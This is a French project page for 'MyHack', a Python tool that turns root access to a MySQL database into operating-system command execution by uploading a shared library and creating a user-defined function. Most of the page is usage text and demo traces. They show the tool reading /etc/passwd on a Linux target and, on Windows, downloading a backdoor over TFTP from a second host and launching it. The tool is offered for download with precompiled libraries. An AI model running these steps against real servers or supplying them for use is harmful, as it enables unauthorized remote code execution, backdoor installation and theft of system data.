Last update: 29/05/2007


EtatDéveloppement
Version1.00 beta
Mise à jour06/12/2006

Projet MyHack
"MyHack" est un petit outil permettant d'exécuter des commandes sur un serveur à partir d'un accès root à une base MySQL.

Principe
MyHack repose sur l'utilisation des "user defined functions" de MySQL. Cette fonctionnalité permet d'appeler une fonction dans une librairie partagée à partir d'une connexion à la base MySQL en lui passant des paramètres et de récupérer la sortie.
Il n'est cependant pas possible d'appeler n'importe quelle fonction de n'importe quelle librairie du système:
  • Tout d'abord, le prototype des UDFs est fixé, et il y a peu de chance qu'il corresponde à celui de la fonction qui vous intéresse.
  • Ensuite, pour pourvoir appeler myfunc dans une librairie, il faut que la cette librairie exporte myfunc_init, myfunc et myfunc_deinit
Il est très peu probable de trouver une fonction "intéressante" correspondant à ces critères... En revanche, il est possible d'uploader une librairie maison qui exportera les fonctions désirées en utilisant une commande SELECT ... INTO DUMPFILE.
A noter que cette technique est directement inspirée de ma lecture de l'excellent livre "The Database Hacker's Handbook", que je vous recommande chaudement.
Conditions d'exploitation
L'obtention d'un shell via MyHack requiert deux conditions :
  • Au niveau de la connexion MySQL : avoir les privilèges pour pouvoir dumper le fichier et créer la UDF.
  • Au niveau de l'OS : Que le processus représentant le serveur MySQL puisse écrire dans un répertoire de recherche des librairies partagées.
En clair / simplifié :
  • Sous Linux, il vous faudra une connexion root + une erreur de configuration, permettant l'écriture dans un répertoire de cherche des shared libraries :
    • exemple 1 : la variable LD_LIBRARY_PATH contient "." : L'upload dans "." (option -d ".") provoque un upload dans le répertoire racine des bases de donnés "var" (qui est inscriptible pas le démon mysql).
    • exemple 2 : le serveur mysql a le droit d'écrire dans un répertoire de recherche standard : soit il tourne en root, soit le répertoire a des droits trop laxistes
  • Sous Windows, il vous faudra à priori seulement la connexion root car "." appartient à LD_LIBRARY_PATH
Environnement d'exécution
MyHack est écrit en Python et a été testé sous Windows et sous Linux.
Il requiert:
  • L'interpréteur Python
  • Un client mysql
  • Si vous voulez recompiler la librairie partagée, vous aurez besoin d'un environnement de compilation et des headers de MySQL
Paramètres
L'option -h permet d'afficher les différentes options disponibles :
$ myhack.py -h

                          >>> MyHack [by x90re] <<<

                    Author   :   Benjamin CAILLAT
                    Version  :   1.00 beta
                    Contact  :   x90re@yahoo.fr
                    Web site :   http://benjamin.caillat.free.fr/


  Usage: myhack.py [buildlib/buildsql/inject/shell/clean] -o <remote os> -t <target IP> -u <user> [-p <pass>]
                   -d <remote directory>[-v] [-h]

    buildlib : Build shared library
               Required options : -o/[-v]
    buildsql : Create SQL injection script
               Required options : -o/-d/[-v]
    inject   : Execute SQL script to upload shared library and create UDF function
               Required options : -o/-t/-u/[-p]/[-v]
    shell    : Execute shell (exit with quit or exit)
               Required options : -o/-t/-u/[-p]/[-v]
    clean    : Clean database (shared library is NOT deleted)
               Required options : -o/-t/-u/[-p]/[-v]

    -o <remote os>        Remote OS : linux or windows
    -t <target IP>        Target IP address
    -u <user>             MySQL user for connection
    -p <password>         MySQL password for connection (skip this option if blank)
    -d <remote directory> Remote directory where shared library is uploaded
    -v                    Verbose mode (display command to execute)
    -h                    Display this help and exit
	
Démo Linux
Voici les traces obtenues lors d'une exploitation d'un serveur sous Linux à partir d'une machine sous Linux.
Le compte MySQL "root" n'a pas de mot de passe et la varaible LD_LIBRARY_PATH contient "."

Nous commençons par compiler la librairie partagée
$ ./myhack.py buildlib -o linux
[INFO ] Building shared library
[INFO ] Shared library successfully build
Nous générons ensuite le script SQL d'injection
$ ./myhack.py buildsql -o linux -d .
[INFO ] Creating SQL script
[INFO ] SQL script created successfully
Nous exécutons ensuite le script SQL afin d'uploader la librairie partagée et de créer la UDF
$ ./myhack.py inject -o linux -t 172.30.0.45 -u root
[INFO ] Executing SQL script (Creating database and user define function)
[INFO ] Injection successfull
Nous exécutons ensuite un shell pseudo-interactif : une connexion à la base MySQL et établie pour chaque commande à exécuter.
$ ./myhack.py shell -o linux -t 172.30.0.45 -u root
[INFO ] Start entering commands...
$ ls -l
total 20540
-rw-rw---- 1 mysql root      3042 2006-12-04 15:47 debian.err
-rw-rw---- 1 mysql mysql        5 2006-12-04 15:47 debian.pid
-rw-rw---- 1 mysql mysql 10485760 2006-12-04 15:52 ibdata1
-rw-rw---- 1 mysql mysql  5242880 2006-12-04 15:52 ib_logfile0
-rw-rw---- 1 mysql mysql  5242880 2006-11-24 15:56 ib_logfile1
drwx------ 2 mysql mysql     4096 2006-12-04 15:54 MYHACK
drwx------ 2 mysql root      4096 2006-11-24 15:56 mysql
drwx------ 2 mysql root      4096 2006-11-24 15:56 test

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
x90re:x:1000:1000:x90re,,,:/home/x90re:/bin/bash
sshd:x:100:65534::/var/run/sshd:/usr/sbin/nologin
apache:x:1001:1001:Apache Server:/dev/null:/bin/false
mysql:x:1002:1002:MySQL Server:/dev/null:/bin/false

$ exit    
Enfin nous nettoyons la base en supprimant l'UDF et la base créée
$ ./myhack.py clean -o linux -t 172.30.0.45 -u root
[INFO ] Cleaning MySQL database
[INFO ] Cleaning successfull (remember that shared library has not been removed)
Démo Windows
Voici les traces obtenues lors d'une exploitation d'un serveur sous Windows à partir d'une machine sous Windows.
Le compte MySQL "root" a le mot de passe "root"

Nous commençons par compiler la librairie partagée
C:\myhack>myhack.py buildlib -o windows
[INFO ] Building shared library
[INFO ] Shared library successfully build
Nous générons le script SQL d'injection
C:\myhack>myhack.py buildsql -o windows -d ../bin
[INFO ] Creating SQL script
[INFO ] SQL script created successfully
Nous exécutons ensuite le script SQL afin d'uploader la librairie partagée et de créer la UDF
C:\myhack>myhack.py inject -o windows -t 172.30.0.45 -u root -p root
[INFO ] Executing SQL script (Creating database and user define function)
[INFO ] Injection successfull
Nous exécutons ensuite le shell pseudo-interactif. Sous Windows, la UDF myhack n'offre pas la possibilité de récupérer la sortie standard.
Une possibilité est alors d'uploader une backdoor évoluée via un tftp, puis de la lancer
C:\myhack>myhack.py shell -o windows -t 172.30.0.45 -u root -p root
[INFO ] Start entering commands...
$ tftp -i 172.30.0.50 GET bkdr.exe
return code : 0x0
$ bkdr.exe
return code : 0x0
$ exit
Enfin, nous nettoyons la base
C:\myhack>myhack.py clean -o windows -t 172.30.0.45 -u root -p root
[INFO ] Cleaning MySQL database
[INFO ] Cleaning successfull (remember that shared library has not been removed)
Configuration de MyHack
MyHack est prévu pour fonctionner sur Windows et Linux
Lors d'une première utilisation, vous devez éditer le script Python est renseigner les valeurs suivantes :
  • MYSQL_BIN : Chemin vers le binaire mysql.
    Exemples :
    Linux : MYSQL_BIN = "/usr/local/mysql-5.0.27/bin/mysql"
    Windows : MYSQL_BIN = "\"C:\\Program Files\\MySQL\\MySQL Server 5.0\\bin\\mysql.exe\""

  • MYSQL_HEADERS : Chemin vers les headers MySQL (uniquement si vous souhaitez recompiler la librairie)
    Linux : MYSQL_HEADERS = "/home/x90re/mysql-5.0.27/include/"
    Windows : MYSQL_HEADERS = "C:\\Program Files\\MySQL\\MySQL Server 5.0\\include"
Remarques :
Si vous attaquez un OS à partir de l'autre OS, vous ne pourrez pas recompiler la librairie. Utilisez alors les versions déjà compilées fournies dans l'archive.
Ressources
Cette archive contient le script python MyHack, le source et les versions binaires Windows/Linux de la librairie partagée.
Une remarque/un bug ?
N'hésitez cependant pas à me contacter si vous avez des questions ou des remarques: Benjamin CAILLAT